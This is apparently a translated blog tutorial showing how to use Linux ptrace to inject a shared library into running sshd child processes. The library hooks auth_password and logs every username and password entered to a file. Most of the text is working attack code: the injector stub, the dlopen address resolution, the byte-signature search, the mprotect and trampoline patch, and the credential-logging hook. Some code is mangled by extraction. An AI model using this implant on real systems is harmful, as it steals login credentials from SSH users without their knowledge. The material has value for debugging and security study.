Introduction to ptrace or code injection in sshd for fun
- Transfer
The goal I set was quite simple: find out the password entered into sshd using ptrace. Of course, this is a somewhat artificial task, as there are many other, more effective ways to achieve the desired (and with a much lower probability of getting SEGV ), however, it seemed to me cool to do just that.
What is ptrace?
Those familiar with injections into Windows, probably know the functions
VirtualAllocEx()
, WriteProcessMemory()
, ReadProcessMemory()
and CreateRemoteThread()
. These calls allow you to allocate memory and run threads in another process. In the linux world, the kernel provides us ptrace
with which debuggers can interact with the running process. Ptrace offers several useful debugging operations, for example:
- PTRACE_ATTACH - allows you to join a single process, pausing the process being debugged
- PTRACE_PEEKTEXT - allows you to read data from the address space of another process
- PTRACE_POKETEXT - allows you to write data to the address space of another process
- PTRACE_GETREGS - reads the current state of the process registers
- PTRACE_SETREGS - records the status of process registers
- PTRACE_CONT - continues execution of the process being debugged
Although this is an incomplete list of ptrace features, however, I ran into difficulties due to the lack of familiar functions from Win32. For example, in Windows, you can allocate memory in another process using a function
VirtualAllocEx()
that returns you a pointer to freshly allocated memory. Since there is no such thing in ptrace, you will have to improvise if you want to embed your code in another process. Well, let's think about how to take control over the process using ptrace.
Basics of ptrace
The first thing we have to do is join the process of interest to us. To do this, simply call ptrace with the PTRACE_ATTACH parameter:
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
This call is simple as a traffic jam, it takes the PID of the process we want to join. When a call occurs, a SIGSTOP signal is sent, which causes the process of interest to stop.
After joining, there is a reason to save the state of all the registers before we start changing something. This will allow us to restore the program later:
structuser_regs_structoldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
Next, you need to find a place where we can write our code. The easiest way is to extract information from the maps file, which can be found in procfs for each process. For example, "/ proc / PID / maps" on the running sshd process on Ubuntu looks like this:
We need to find a memory area allocated with the right to execute (most likely "r-xp"). Immediately, as we find the area that suits us, by analogy with the registers, we will save the contents so that we can correctly restore the work:
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
With ptrace, you can read one machine data word (32 bits per x86 or 64 bits per x86_64) at a specified address, that is, you need to make several calls to read more data by increasing the address.
Note: linux also has process_vm_readv () and process_vm_writev () for working with the address space of another process. However, in this article I will stick to using ptrace. If you want to do something of your own, it is better to read about these functions.
Now that we’ve backed up the memory we liked, we can start overwriting:
ptrace(PTRACE_POKETEXT, pid, addr, word);
Similar to PTRACE_PEEKTEXT, this call can only write one machine word at a time to the specified address. Also, to write more than one machine word you need a lot of calls.
After loading your code you need to transfer control to it. In order not to overwrite the data in memory (for example, the stack), we will use the previously saved registers:
structuser_regs_structr;memcpy(&r, &oldregs, sizeof(struct user_regs_struct));
// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, &r);
Finally, we can continue execution using PTRACE_CONT:
ptrace(PTRACE_CONT, pid, NULL, NULL);
But how do we know that our code has finished executing? We will use a software interrupt, also known as an “int 0x03” instruction, that generates SIGTRAP. We will wait for this using waitpid ():
waitpid(pid, &status, WUNTRACED);
waitpid () is a blocking call that will wait for the process to stop with the PID and write the reason for the stop to the status variable. Here, by the way, there are a lot of macros that will simplify life in finding out the reason for the stop.
To find out if a stop was due to SIGTRAP (because of the int 0x03 call), we can do this:
waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
printf("SIGTRAP received\n");
}
At this point, our embedded code has already run and all we need is to restore the original state of the process. Restore all registers:
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
Then we will return the original data in memory:
ptrace(PTRACE_POKETEXT, pid, addr, word);
And disconnect from the process:
ptrace(PTRACE_DETACH, pid, NULL, NULL);
That's enough theory. Let's move on to the more interesting part.
Sshd injection
I have to warn you that there is some chance of dropping sshd, so be careful and please do not try to check it on a production system and even more so on a remote system via SSH: D
Moreover, there are several better ways to achieve the same result, I am demonstrating this one exclusively as a fun way to show the power of ptrace (agree that this is a cooler injection to Hello World;)
The only thing I wanted to do was get the login-password combination from running sshd when the user is authenticated. When viewing the source code, we can see something like this:
auth-passwd.c
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/intauth_password(Authctxt *authctxt, constchar *password){
...
}
It looks like a great place to try to remove the login / password transmitted by the user in the clear.
We want to find the signature of the function that will allow us to find its [function] in memory. I use my favorite disassembly utility, radare2: You
need to find a byte sequence that is unique and is found only in the auth_password function. To do this, we will use the search in radare2:
It so happened that the sequence
xor rdx, rdx; cmp rax, 0x400
matches our requirements and is found only once in the entire ELF file. As a note ... If you do not have this sequence, make sure that you have the newest version, which also closesvulnerability mid-2016. (in version 7.6, such a sequence is also unique - approx. per.)
The next step is code injection.
Load .so into sshd
To load our code into sshd, we will make a small stub, which will allow us to call dlopen () and load the dynamic library, which will already do the auth_password substitution.
dlopen () is a call for dynamic linking, which takes in arguments the path to the dynamic library and loads it into the address space of the calling process. This function is in libdl.so, which is dynamically linked to the application.
Fortunately, in our case, libdl.so is already loaded in sshd, so all we have to do is execute dlopen (). However, because of the ASLR, it is very unlikely that dlopen () will be in the same place every time, so you have to find its address in sshd memory.
In order to find the address of a function, you need to calculate the offset - the difference between the address of the dlopen () function and the starting address of libdl.so:
unsignedlonglong libdlAddr, dlopenAddr;
libdlAddr = (unsignedlonglong)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsignedlonglong)dlsym(libdlAddr, "dlopen");
printf("Offset: %llx\n", dlopenAddr - libdlAddr);
Now that we have calculated the offset, we need to find the starting address of libdl.so from the maps file:
Knowing the base address of libdl.so in sshd (0x7f0490a0d000, as follows from the screenshot above), we can add an offset and get the address dlopen () to call from code-injection.
All the necessary addresses will be passed through registers using PTRACE_SETREGS.
It is also necessary to write the path to the implantable library into the sshd address space, for example:
voidptraceWrite(int pid, unsignedlonglong addr, void *data, int len){
long word = 0;
int i = 0;
for (i=0; i < len; i+=sizeof(word), word=0) {
memcpy(&word, data + i, sizeof(word));
if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
printf("[!] Error writing process memory\n");
exit(1);
}
}
}
ptraceWrite(pid, (unsignedlonglong)freeaddr, "/tmp/inject.so\x00", 16)
By doing as much as possible during the preparation of the injection and loading the pointers to the arguments directly into the registers, we can make the code-injection easier. For example:
// Update RIP to point to our code, which will be just after // our injected library name string
regs.rip = (unsignedlonglong)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;
// Update RAX to point to dlopen()
regs.rax = (unsignedlonglong)dlopenAddr;
// Update RDI to point to our library name string
regs.rdi = (unsignedlonglong)freeaddr;
// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
That is, the code injection is quite simple:
; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int0x03
It is time to create our dynamic library, which will be loaded by code injection.
Before we move on, consider one important thing that will be used ... Constructor of the dynamic library.
Constructor in dynamic libraries
Dynamic libraries can execute code when loading. To do this, mark the functions with the decorator "__attribute __ ((constructor))". For example:
#include<stdio.h>void __attribute__((constructor)) test(void) {
printf("Library loaded on dlopen()\n");
}
You can copy it with a simple command:
gcc -o test.so --shared -fPIC test.c
And then check the performance:
dlopen("./test.so", RTLD_LAZY);
When the library loads, the constructor will also be called:
We also use this functionality to make our life easier when code is injected into the address space of another process.
Sshd dynamic library
Now that we have the ability to load our dynamic library, we need to create code that will change the behavior of auth_password () at runtime.
When our dynamic library is loaded, we can find the starting address of sshd using the file "/ proc / self / maps" in procfs. We are looking for a domain with “rx” rights in which we will search for a unique sequence in auth_password ():
d = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
ptr = strtoull(buffer, NULL, 16);
end = strtoull(strstr(buffer, "-")+1, NULL, 16);
break;
}
}
Once we have a range of addresses to search for, look for the function:
constchar *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00";
while(ptr < end) {
// ptr[0] == search[0] added to increase performance during searching// no point calling memcmp if the first byte doesn't match our signature.if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
break;
}
ptr++;
}
When we have a match, you need to use mprotect () to change the permissions on the memory area. This is all because the memory area is available for reading and execution, and to change on the fly, write rights are required:
mprotect((void*)(((unsignedlonglong)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
Great, we have the right to write to the desired memory area and now it is time to add a small springboard at the beginning of the auth_password function, which will transfer control to the hook:
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
This is equivalent to this code:
mov rax, 0x4142434445464748
jmp rax
Of course, the address 0x4142434445464748 is not suitable for us and it will be replaced with the address of our hook:
*(unsignedlonglong *)((char*)jmphook+2) = &passwd_hook;
Now we can just insert our springboard into sshd. To make the injection beautiful and clean, we insert the springboard at the very beginning of the function:
// Step back to the start of the function, which is 32 bytes // before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));
Now we need to implement a hook that will deal with the logging of passing data. We must be sure to save all registers before the hook and restore it before returning to the original code:
Hook source code
// Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this functionvoidpasswd_hook(void *arg1, char *password){
// We want to store our registers for laterasm("push %rsi\n""push %rdi\n""push %rax\n""push %rbx\n""push %rcx\n""push %rdx\n""push %r8\n""push %r9\n""push %r10\n""push %r11\n""push %r12\n""push %rbp\n""push %rsp\n"
);
// Our code here, is used to store the username and passwordchar buffer[1024];
intlog = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);
// Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument.snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password);
write(log, buffer, strlen(buffer));
close(log);
asm("pop %rsp\n""pop %rbp\n""pop %r12\n""pop %r11\n""pop %r10\n""pop %r9\n""pop %r8\n""pop %rdx\n""pop %rcx\n""pop %rbx\n""pop %rax\n""pop %rdi\n""pop %rsi\n"
);
// Recover from the function prologueasm("mov %rbp, %rsp\n""pop %rbp\n"
);
...
Well, that's all ... in a sense ...
Unfortunately, after all that has been done, this is not all. Even if the code injection into sshd was successful, you can see that the user passwords you are looking for are still inaccessible. This is due to the fact that sshd for each connection creates a new child. It is the new child that handles the connection and it is in it that we have to install the hook.
To be sure that we are working with sshd children, I decided to scan procfs for stats files that specify the Parent PID sshd. As soon as such a process is found, the injector is launched for it.
This even has its advantages. If everything does not go according to plan and the code-injection falls from SIGSEGV, only the process of one user will be killed, but not the parent process of sshd. Not the biggest consolation, but it clearly makes debugging easier.
Injection in action
OK, let's see the demo: The full code can be found here . I hope this trip gave you enough information to push ptrace on your own. I want to thank the following people and sites that helped to deal with ptrace: